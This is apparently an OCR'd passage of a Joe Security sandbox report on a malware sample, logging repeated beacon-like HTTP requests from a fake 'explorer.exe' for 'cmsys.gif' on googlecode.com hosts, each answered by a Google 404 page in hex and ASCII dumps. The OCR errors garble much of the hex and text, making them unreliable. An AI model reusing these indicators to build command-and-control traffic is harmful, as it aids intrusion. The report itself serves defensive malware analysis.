2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd02.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp A Direction
Aug 5, 2022 9196 IN
09:10:42.406915903
CEST
Session ID Source IP Source Port
23 192.168.2.4 49804
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 9197 ouT
09:10:44.438968897
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:42 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270 782061726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
Ilwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd03.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp A Direction
Aug 5, 2022 9199 IN
09:10:44.466250896
CEST
Session ID Source IP Source Port
24 192.168.2.4 49806
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 9204 ouT
09:10:53.283324957
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:44 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
Ilwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd01.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp e Direction
Aug 5, 2022 9205 IN
09:10:53.313359022
CEST
Session ID Source IP Source Port
25 192.168.2.4 49807
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 9206 ouT
09:10:57.380153894
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:53 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67
65 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f
6f 67 6¢ 65 6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6C 65 6¢C 6f 67 6f 5f 63 6f 6 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6 67 29
20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e
2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 32 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a
7572 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64

Data Ascii: <IDOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1,
minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> *{margin:0;padding:0}html,co
deffont:15px/22px arial,sans-serifthtmi{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-widt
h:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png)
100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a
img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-
right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-
repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#ogo{background:url(//www.google.com
l/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(
/lwww.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) O}}@media only screen and (-webk
it-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/brand

Destination IP  Destination Port Process

C:\Windows\System\explorer.exe

Data

GET ffiles/cmsys.gif HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vecmd02.googlecode.com

Connection: Keep-Alive
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kBytes

Timestamp e Direction
Aug 5, 2022 9208 IN
09:10:57.407433033
CEST
Session ID Source IP Source Port
26 192.168.2.4 49809
. kBytes . .
Ti Di
imestamp transferred irection
Aug 5, 2022 9217 ouT
09:10:59.736529112
CEST

Copyright Joe Security LLC 2022

142.250.145.82 80

Data

HTTP/1.1 404 Not Found

Content-Type: text/html; charset=UTF-8

Referrer-Policy: no-referrer

Content-Length: 1576

Date: Fri, 05 Aug 2022 07:10:57 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 65 6e 3e Oa 20 20 3c 6d 65
74612063 6861 72 73 65 74 3d 75 74 66 2d 38 3e Oa 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74
20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2¢ 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6C
65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e Oa 20 20 3c 74 69 74 6¢ 65 3e 45 72 72 6f 7
22034 3034 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6¢ 65 3e 0a 20 20 3¢ 73 74 79 6¢ 65 3e Oa 20
202020 2a7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6¢ 2c 63 6f 64 65 7b 66 6f 6e 74 3a
313570782f323270782061 726961 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6¢ 7b 62 61 63 6b 67 72 6f
75 6e 64 3a 23 66 66 66 3b 63 6f 6¢ 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d
61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69
67 68 74 3231 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b
62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72
72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69
6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65
72 66 6¢ 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6¢ 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74
69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61
6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f
6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d
72 69 67 68 74 3a 30 7d 7d 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6€ 64 3a 75 72 6¢ 28 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6C
65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67
69 6e 2d 6¢ 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6¢ 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69
6e 2d 72 65 73 6f 6¢ 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6¢ 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72
6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6¢ 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6¢C 65
6¢ 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6¢ 65 6¢ 6f 67 6f 5f 63 6f 6¢ 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6€ 67 29 20 6e 6f 2d
